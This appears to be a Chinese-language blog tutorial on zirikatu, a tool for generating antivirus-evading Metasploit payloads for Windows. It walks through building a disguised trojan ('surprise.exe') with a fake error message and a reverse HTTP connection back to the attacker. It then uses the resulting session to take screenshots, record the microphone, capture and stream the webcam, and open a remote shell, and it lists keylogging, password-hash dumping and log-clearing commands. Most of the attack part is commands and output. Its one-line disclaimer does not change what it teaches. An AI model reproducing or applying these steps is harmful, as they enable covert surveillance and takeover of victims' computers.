『Kali Linux』- zirikatu

本篇文章只用于教育普及,請勿用于違法活動(dòng),否則后果自負(fù)
Hack and Have Fun!


zirikatu是一款針對Windows操作系統(tǒng)的高效hack工具,可實(shí)現(xiàn)對目標(biāo)系統(tǒng)的設(shè)備監(jiān)聽及控制等功能。

原理

zirikatu對msfvenom中Windows payload進(jìn)行封裝,通過參數(shù)配置生成執(zhí)行參數(shù),msfvenom執(zhí)行后,生成木馬程序。目標(biāo)主機(jī)運(yùn)行木馬后,實(shí)現(xiàn)攻擊效果。

zirikatu核心原理代碼如下:

if [ "$option" == "7" ]; then
msfvenom -p $payload LHOST=$ip LPORT=$port --platform windows -a x86 -e generic/none 2>/dev/null | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -i $int -f raw 2>/dev/null | msfvenom --platform windows -a x86 -e x86/fnstenv_mov -i $int -f hex >> behinbehineko 2>/dev/null;
encoded='Y'
fi
if [ "$option" == "4" ]; then
msfvenom -p $payload LHOST=$host LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
else
msfvenom -p $payload LHOST=$ip LPORT=$port -f hex --smallest >> behinbehineko 2>/dev/null;
int='N'
encoded='N'
fi
##268 - 280 行

配置

Download zirikatu

root@kali:/media/sf_share_kali# git clone https://github.com/pasahitz/zirikatu
正克隆到 'zirikatu'...
remote: Enumerating objects: 18, done.
remote: Total 18 (delta 0), reused 0 (delta 0), pack-reused 18
展開對象中: 100% (18/18), 完成.
root@kali:/media/sf_share_kali# cd zirikatu/
root@kali:/media/sf_share_kali/zirikatu# ls
zirikatu.ico  zirikatu.sh

執(zhí)行zirikatu

root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh 
     _____ _        _  _            _           
    / _  /(_) _ __ (_)| | __  __ _ | |_  _   _  
    \// / | || '__|| || |/ / / _' || __|| | | | 
     / //\| || |   | ||   < | (_| || |_ | |_| | 
    /____/|_||_|   |_||_|\_\ \__,_| \__| \__,_| 
                                            
                     ___      ____              
           /\   /\  / _ \    |___ \             
           \ \ / / | | | |     __) |            
            \ V /  | |_| | _  / __/             
             \_/    \___/ (_)|_____| 

/==========================########========================\
|                             #                            |
|                   #Fully Undetectable#                   |
|              #Metasploit Payload Generator#              |
|          #Tested on Debian Jessie and Kali Linux#        |
|———————————#—————————————————#——————————————————#—————————|
|                                            PasahitZ 2017 |
\==========================================================/

Check script dependencies =  【Fail】

mono          【!!】 Not Found, first must be installed mono 
mcs           【!!】 Not Found, first must be installed mono

This script require all dependencies to work, install not found programs
More information:
https://www.metasploit.com/
http://www.mono-project.com/
https://www.postgresql.org/

Exiting....

zirikatu需要依賴mono & mcs

配置zirikatu依賴包

root@kali:/media/sf_share_kali/zirikatu-master# apt-get install mono-devel 

再次執(zhí)行zirikatu

root@kali:/media/sf_share_kali/zirikatu-master# ./zirikatu.sh 
     _____ _        _  _            _           
    / _  /(_) _ __ (_)| | __  __ _ | |_  _   _  
    \// / | || '__|| || |/ / / _' || __|| | | | 
     / //\| || |   | ||   < | (_| || |_ | |_| | 
    /____/|_||_|   |_||_|\_\ \__,_| \__| \__,_| 
                                            
                     ___      ____              
           /\   /\  / _ \    |___ \             
           \ \ / / | | | |     __) |            
            \ V /  | |_| | _  / __/             
             \_/    \___/ (_)|_____| 

/==========================########========================\
|                             #                            |
|                   #Fully Undetectable#                   |
|              #Metasploit Payload Generator#              |
|          #Tested on Debian Jessie and Kali Linux#        |
|———————————#—————————————————#——————————————————#—————————|
|                                            PasahitZ 2017 |
\==========================================================/

Check script dependencies = 【Pass】

msfconsole    【Ok】
msfvenom      【Ok】
mono          【Ok】
mcs           【Ok】
postgresql    【Ok】
fallocate     【Ok】

[1] Meterpreter_Reverse_tcp         [5] Shell_reverse_tcp
[2] Meterpreter_Reverse_http        [6] Powershell_reverse_tcp
[3] Meterpreter_Reverse_https       [7] Multi encode payload
[4] Meterpreter_Reverse_tcp_dns

Select a payload number: 2               
Set LHOST: 192.168.1.103                 
Set LPORT: 8080                         
Do you want to change the payload icon? y or n : y      
Display an error message? y or n : y
Write title error message : Error
Write the error message : Big Brother is watching you!
Enter the output file name: surprise

Please wait a few seconds..........
█║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║█
fallocate: fallocate failed: 不支持的操作

Succesfully Payload generated !!

Payload file= /media/sf_share_kali/zirikatu-master/output/surprise.exe
Payload size= 137728 Bytes

*****************************************************************************
 LHOST=192.168.1.103                   NUMBER OF ITERATIONS=N 
 LPORT=8080                            CHANGE ICON=Y
 ENCODED PAYLOAD=N                     ERROR MESSAGE=Y
 PAYLOAD=WINDOWS/METERPRETER/REVERSE_HTTP
*****************************************************************************
Do you start the payload handler? y or n: y
[ ok ] Starting postgresql (via systemctl): postgresql.service.
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.17.24-dev                         ]
+ -- --=[ 1825 exploits - 1033 auxiliary - 318 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /media/sf_share_kali/zirikatu-master/handler/handler.rc for ERB directives.
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> use exploit/multi/handler
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LHOST 192.168.1.103
LHOST => 192.168.1.103
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set LPORT 8080
LPORT => 8080
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> set EXITONSESSION false
EXITONSESSION => false
resource (/media/sf_share_kali/zirikatu-master/handler/handler.rc)> exploit -j
[*] Exploit running as background job 0.

[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) > 

生成的surprise.exe文件

root@kali:/media/sf_share_kali/zirikatu-master/output# ls
surprise.exe

將surprise.exe文件拷入目標(biāo)主機(jī)
運(yùn)行surprise.exe

runing surprise.exe.png

運(yùn)行surprise.exe后,kali shell中顯示構(gòu)建session成功

[*] Started HTTP reverse handler on http://192.168.1.103:8080
msf exploit(multi/handler) > [*] http://192.168.1.103:8080 handling request from 192.168.1.104; (UUID: hdkecpka) Staging x86 payload (180825 bytes) ...
[*] Meterpreter session 1 opened (192.168.1.103:8080 -> 192.168.1.104:49230) at 2018-11-26 22:31:11 +0800

使用

查看session信息

sessions -i

Active sessions
===============

  Id  Name  Type                     Information        Connection
  --  ----  ----                     -----------        ----------
  1         meterpreter x86/windows  win8\win_8 @ WIN8  192.168.1.103:8080 -> 192.168.1.104:49230 (192.168.1.104)

選擇目標(biāo) session

msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

查看目標(biāo)主機(jī)信息

meterpreter > sysinfo
Computer        : WIN8
OS              : Windows 8 (Build 9200).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

截圖

meterpreter > screenshot 
Screenshot saved to: /media/sf_share_kali/zirikatu/source/BAALKIfi.jpeg
screenshot.jpeg

錄音

meterpreter > record_mic -d 3
[*] Starting...
[*] Stopped
Audio saved to: /media/sf_share_kali/zirikatu/source/gkTEbROp.wav

攝像頭截圖

meterpreter > webcam_snap 
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /media/sf_share_kali/zirikatu/source/GJAeeNRH.jpeg

攝像頭實(shí)時(shí)數(shù)據(jù)

meterpreter > webcam_stream 
[*] Starting...
[*] Preparing player...
[*] Opening player at: /media/sf_share_kali/zirikatu/source/cnzgbrva.html
[*] Streaming...

獲取目標(biāo)主機(jī)shell

meterpreter > shell 
Process 1940 created.
Channel 1 created.
Microsoft Windows [?汾 6.2.9200]
(c) 2012 Microsoft Corporation???????????????

C:\Users\win_8\Desktop>

其他指令

meterpreter > help 

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

參考資料

Hacking Any Webcam, snapshot, screenshot.. on Kali Linux ?
https://www.youtube.com/watch?v=YS5vMX8jGpI
mono
https://www.mono-project.com/download/stable/#download-lin-debian

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容